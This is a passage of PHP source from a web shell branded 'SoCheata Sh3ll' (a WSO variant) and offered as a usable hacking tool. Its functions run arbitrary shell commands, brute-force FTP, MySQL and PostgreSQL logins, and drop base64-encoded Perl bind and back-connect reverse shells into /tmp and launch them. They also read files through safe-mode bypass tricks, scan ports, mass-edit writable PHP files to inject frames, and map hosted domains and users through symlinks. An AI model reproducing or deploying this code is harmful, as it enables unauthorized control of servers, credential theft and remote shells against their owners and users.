1337 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1338 $_POST['p3']--;
1339 if($_POST['type']=='pgsql')
1340 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1341 else
1342 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1343 echo "<br><br>";
1344 }
1345 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1346 $db->query(@$_POST['p2']);
1347 if($db->res !== false) {
1348 $title = false;
1349 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1350 $line = 1;
1351 while($item = $db->fetch()) {
1352 if(!$title) {
1353 echo '<tr>';
1354 foreach($item as $key => $value)
1355 echo '<th>'.$key.'</th>';
1356 reset($item);
1357 $title=true;
1358 echo '</tr><tr>';
1359 $line = 2;
1360 }
1361 echo '<tr class="l'.$line.'">';
1362 $line = $line==1?2:1;
1363 foreach($item as $key => $value) {
1364 if($value == null)
1365 echo '<td><i>null</i></td>';
1366 else
1367 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1368 }
1369 echo '</tr>';
1370 }
1371 echo '</table>';
1372 } else {
1373 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1374 }
1375 }
1376 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1377 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1378 echo htmlspecialchars($_POST['p2']);
1379 echo "</textarea><br/><input type=submit value='Execute'>";
1380 echo "</td></tr>";
1381 }
1382 echo "</table></form><br/>";
1383 if($_POST['type']=='mysql') {
1384 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1385 if($db->fetch())
1386 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1387 }
1388 if(@$_POST['p1'] == 'loadfile') {
1389 $file = $db->loadFile($_POST['p2']);
1390 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1391 }
1392 } else {
1393 echo htmlspecialchars($db->error());
1394 }
1395 echo '</div>';
1396 wsoFooter();
1397}
1398// Sql end------------------------------
1399// Infect go ---------------------------
1400function actionInfect() {
1401 wsoHeader();
1402 echo '<h1>Infect</h1><div class=content>';
1403 if($_POST['p1'] == 'infect') {
1404 $target=$_SERVER['DOCUMENT_ROOT'];
1405 function ListFiles($dir) {
1406 if($dh = opendir($dir)) {
1407 $files = Array();
1408 $inner_files = Array();
1409 while($file = readdir($dh)) {
1410 if($file != "." && $file != "..") {
1411 if(is_dir($dir . "/" . $file)) {
1412 $inner_files = ListFiles($dir . "/" . $file);
1413 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1414 } else {
1415 array_push($files, $dir . "/" . $file);
1416 }
1417 }
1418 }
1419 closedir($dh);
1420 return $files;
1421 }
1422 }
1423 foreach (ListFiles($target) as $key=>$file){
1424 $nFile = substr($file, -4, 4);
1425 if($nFile == ".php" ){
1426 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1427 echo "$file<br>";
1428 $i++;
1429 }
1430 }
1431 }
1432 echo "<font color=red size=14>$i</font>";
1433 }else{
1434 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1435 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1436 }
1437 wsoFooter();
1438}
1439// Infect end --------------------------
1440//Console go----------------------------
1441function actionConsole() {
1442 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1443 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1444 $_POST['p1'] .= ' 2>&1';
1445 } elseif(!empty($_POST['p1']))
1446 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1447
1448 if(isset($_POST['ajax'])) {
1449 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1450 ob_start();
1451 echo "d.cf.cmd.value='';\n";
1452 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1453 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1454 if(@chdir($match[1])) {
1455 $GLOBALS['cwd'] = @getcwd();
1456 echo "c_='".$GLOBALS['cwd']."';";
1457 }
1458 }
1459 echo "d.cf.output.value+='".$temp."';";
1460 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1461 $temp = ob_get_clean();
1462 echo strlen($temp), "\n", $temp;
1463 exit;
1464 }
1465 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1466 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1467 wsoHeader();
1468 echo "<script>
1469if(window.Event) window.captureEvents(Event.KEYDOWN);
1470var cmds = new Array('');
1471var cur = 0;
1472function kp(e) {
1473 var n = (window.Event) ? e.which : e.keyCode;
1474 if(n == 38) {
1475 cur--;
1476 if(cur>=0)
1477 document.cf.cmd.value = cmds[cur];
1478 else
1479 cur++;
1480 } else if(n == 40) {
1481 cur++;
1482 if(cur < cmds.length)
1483 document.cf.cmd.value = cmds[cur];
1484 else
1485 cur--;
1486 }
1487}
1488function add(cmd) {
1489 cmds.pop();
1490 cmds.push(cmd);
1491 cmds.push('');
1492 cur = cmds.length-1;
1493}
1494</script>";
1495 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1496 foreach($GLOBALS['aliases'] as $n => $v) {
1497 if($v == '') {
1498 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1499 continue;
1500 }
1501 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1502 }
1503
1504 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1505 if(!empty($_POST['p1'])) {
1506 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1507 }
1508 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1509 echo '</form></div><script>d.cf.cmd.focus();</script>';
1510 wsoFooter();
1511}
1512//Console end---------------------------
1513//Logout go-----------------------------
1514function actionLogout() {
1515 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1516 die('<title><3 Pye Pye See Ya <3</title><center><h2>Thank you for using SoCheata Sh3ll.</h2><h4>This shell made in Cambodia. :)</h4><p>Version 7.0</p></center');
1517}
1518//Logout end-----------------------------
1519//SelfRemove go--------------------------
1520function actionSelfRemove() {
1521
1522 if($_POST['p1'] == 'yes')
1523 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1524 die('Shell has been removed');
1525 else
1526 echo 'unlink error!';
1527 if($_POST['p1'] != 'yes')
1528 wsoHeader();
1529 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1530 wsoFooter();
1531}
1532//SelfRemove end-------------------------
1533//Bruteforce end-------------------------
1534function actionBruteforce() {
1535 wsoHeader();
1536 if( isset($_POST['proto']) ) {
1537 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1538 if( $_POST['proto'] == 'ftp' ) {
1539 function wsoBruteForce($ip,$port,$login,$pass) {
1540 $fp = @ftp_connect($ip, $port?$port:21);
1541 if(!$fp) return false;
1542 $res = @ftp_login($fp, $login, $pass);
1543 @ftp_close($fp);
1544 return $res;
1545 }
1546 } elseif( $_POST['proto'] == 'mysql' ) {
1547 function wsoBruteForce($ip,$port,$login,$pass) {
1548 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1549 @mysql_close($res);
1550 return $res;
1551 }
1552 } elseif( $_POST['proto'] == 'pgsql' ) {
1553 function wsoBruteForce($ip,$port,$login,$pass) {
1554 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1555 $res = @pg_connect($str);
1556 @pg_close($res);
1557 return $res;
1558 }
1559 }
1560 $success = 0;
1561 $attempts = 0;
1562 $server = explode(":", $_POST['server']);
1563 if($_POST['type'] == 1) {
1564 $temp = @file('/etc/passwd');
1565 if( is_array($temp) )
1566 foreach($temp as $line) {
1567 $line = explode(":", $line);
1568 ++$attempts;
1569 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1570 $success++;
1571 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1572 }
1573 if(@$_POST['reverse']) {
1574 $tmp = "";
1575 for($i=strlen($line[0])-1; $i>=0; --$i)
1576 $tmp .= $line[0][$i];
1577 ++$attempts;
1578 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1579 $success++;
1580 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1581 }
1582 }
1583 }
1584 } elseif($_POST['type'] == 2) {
1585 $temp = @file($_POST['dict']);
1586 if( is_array($temp) )
1587 foreach($temp as $line) {
1588 $line = trim($line);
1589 ++$attempts;
1590 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1591 $success++;
1592 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1593 }
1594 }
1595 }
1596 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1597 }
1598 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1599 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1600 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1601 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1602 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1603 .'<span>Server:port</span></td>'
1604 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1605 .'<tr><td><span>Brute type</span></td>'
1606 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1607 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1608 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1609 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1610 .'<td><input type=text name=login value="root"></td></tr>'
1611 .'<tr><td><span>Dictionary</span></td>'
1612 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1613 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1614 echo '</div><br>';
1615 wsoFooter();
1616}
1617//Bruteforce go--------------------------
1618//Network go-----------------------------
1619function actionNetwork() {
1620 wsoHeader();
1621 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1622 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1623 echo "<h1>Network tools</h1><div class=content>
1624 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1625 <span>Bind port to /bin/sh [perl]</span><br/>
1626 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1627 </form>
1628 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1629 <span>Back-connect [perl]</span><br/>
1630 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1631 </form><br>";
1632 if(isset($_POST['p1'])) {
1633 function cf($f,$t) {
1634 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1635 if($w){
1636 @fwrite($w,@base64_decode($t));
1637 @fclose($w);
1638 }
1639 }
1640 if($_POST['p1'] == 'bpp') {
1641 cf("/tmp/bp.pl",$bind_port_p);
1642 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1643 sleep(1);
1644 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1645 unlink("/tmp/bp.pl");
1646 }
1647 if($_POST['p1'] == 'bcp') {
1648 cf("/tmp/bc.pl",$back_connect_p);
1649 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1650 sleep(1);
1651 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1652 unlink("/tmp/bc.pl");
1653 }
1654 }
1655 echo '</div>';
1656 wsoFooter();
1657}
1658//Network end-----------------------------
1659//Framer go-------------------------------
1660function actionFramer() {
1661 wsoHeader();
1662 echo '<h1>Replace frames in selected files</h1>
1663 <div class=content>';
1664 $p=explode(',',$_POST['p3']);
1665 echo '<table><form name="fr" method="post" onsubmit="var a=[this.level.value, this.file.value]; g(null,null,this.frame.value,this.rep_place.value,a); return false;">
1666 <tr><td>Frame code</td><td><input type="text" name="frame" value="'.htmlspecialchars($_POST['p1']).'"></td></tr>
1667 <tr><td>What replace</td><td><input type="text" name="rep_place" value="'.htmlspecialchars($_POST['p2']).'"></td></tr>
1668 <tr><td>Level</td><td><input type="text" name="level" value="'.htmlspecialchars($p[0]).'"></td></tr>
1669 <tr><td>Mask file</td><td><input type="text" name="file" value="'.htmlspecialchars($p[1]).'"></td></tr>
1670 <tr><td></td><td><input type=submit value=">>"></td></tr>
1671 </form></table>';
1672 if(!empty($_POST['p1']))
1673 {
1674 $dir = filelist($p[0],$_SERVER['SCRIPT_FILENAME']);
1675 echo $dir;
1676 $info=replace_frame($dir,$_POST['p2'],$_POST['p1'],$p[1]);
1677 echo '<table><tr><td>found files:</td><td>'.$info['founded'].'</td><tr>
1678 <tr><td>not available for writing:</td><td>'.$info['nowritable'].'</td><tr>
1679 <tr><td>edited files:</td><td>'.$info['edited_files'].'</td><tr>
1680 <tr><td>all changes:</td><td>'.$info['replaces'].'</td><tr>';
1681 }
1682 echo '</div>';
1683 wsoFooter();
1684}
1685//Framer end----------------------------
1686// Safe mode go ------------------------
1687function actionSafeMode() {
1688 $temp='';
1689 ob_start();
1690 switch($_POST['p1']) {
1691 case 1:
1692 $temp=@tempnam($test, 'cx');
1693 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1694 echo @file_get_contents($temp);
1695 unlink($temp);
1696 } else
1697 echo 'Sorry... Can\'t open file';
1698 break;
1699 case 2:
1700 $files = glob($_POST['p2'].'*');
1701 if( is_array($files) )
1702 foreach ($files as $filename)
1703 echo $filename."\n";
1704 break;
1705 case 3:
1706 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1707 curl_exec($ch);
1708 break;
1709 case 4:
1710 ini_restore("safe_mode");
1711 ini_restore("open_basedir");
1712 include($_POST['p2']);
1713 break;
1714 case 5:
1715 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1716 $uid = @posix_getpwuid($_POST['p2']);
1717 if ($uid)
1718 echo join(':',$uid)."\n";
1719 }
1720 break;
1721 case 6:
1722 if(!function_exists('imap_open'))break;
1723 $stream = imap_open($_POST['p2'], "", "");
1724 if ($stream == FALSE)
1725 break;
1726 echo imap_body($stream, 1);
1727 imap_close($stream);
1728 break;
1729 }
1730 $temp = ob_get_clean();
1731 wsoHeader();
1732 echo '<h1>Safe mode bypass</h1><div class=content>';
1733 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1734 if($temp)
1735 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1736 echo '</div>';
1737 wsoFooter();
1738}
1739// Safe mode end ----------------------
1740// Port Scanner go --------------------
1741function actionPortScanner() {
1742 wsoHeader();
1743 echo '<h1>Port Scanner</h1>';
1744 echo '<div class="content">';
1745 echo '<form action="" method="post">';
1746
1747 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1748 $start = strip_tags($_POST['start']);
1749 $end = strip_tags($_POST['end']);
1750 $host = strip_tags($_POST['host']);
1751 for($i = $start; $i<=$end; $i++){
1752 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1753 if($fp){
1754 echo 'Port '.$i.' is <font color=lime>open</font><br>';
1755 }
1756 flush();
1757 }
1758 } else {
1759 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1760 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1761 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1762 Host: <input type="text" name="host" value="localhost"/><br /><br />
1763 Port start: <input type="text" name="start" value="0"/><br /><br />
1764 Port end:<input type="text" name="end" value="5000"/><br /><br />
1765 <input type="submit" value="Scan Ports" />
1766 </form></center><br /><br />';
1767 }
1768 echo '</div>';
1769 wsoFooter();
1770}
1771// Port Scanner end -------------------
1772
1773// Domains go -------------------------
1774function actionDomains() {
1775 wsoHeader();
1776 error_reporting(0);
1777echo "<title>#Domains & Users</title>";
1778mkdir("sym");
1779symlink("/","0/x.txt");
1780$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
1781$f = fopen ('sym/.htaccess','w');
1782 fwrite($f , $c);
1783
1784$d0mains = @file("/etc/named.conf");
1785if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
1786echo "<table align=center border=1>
1787<tr bgcolor=teal><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
1788foreach($d0mains as $d0main){
1789if(eregi("zone",$d0main)){
1790preg_match_all('#zone "(.*)"#', $d0main, $domains);
1791flush();
1792if(strlen(trim($domains[1][0])) > 2){
1793$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1794echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/x.txt/home/".$user['name']."/public_html'>Miremos</a></td></tr>"; flush();
1795}}}
1796echo "</table>
1797<p align='center'>
1798FailRoot'Cod3rz <a href='http://failroot.wordpress.com/'>FailRoot-Sec.Com</a> | <a
1799href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
1800</p>
1801";
1802 wsoFooter();
1803}
1804// Domains end -----------------------
1805?>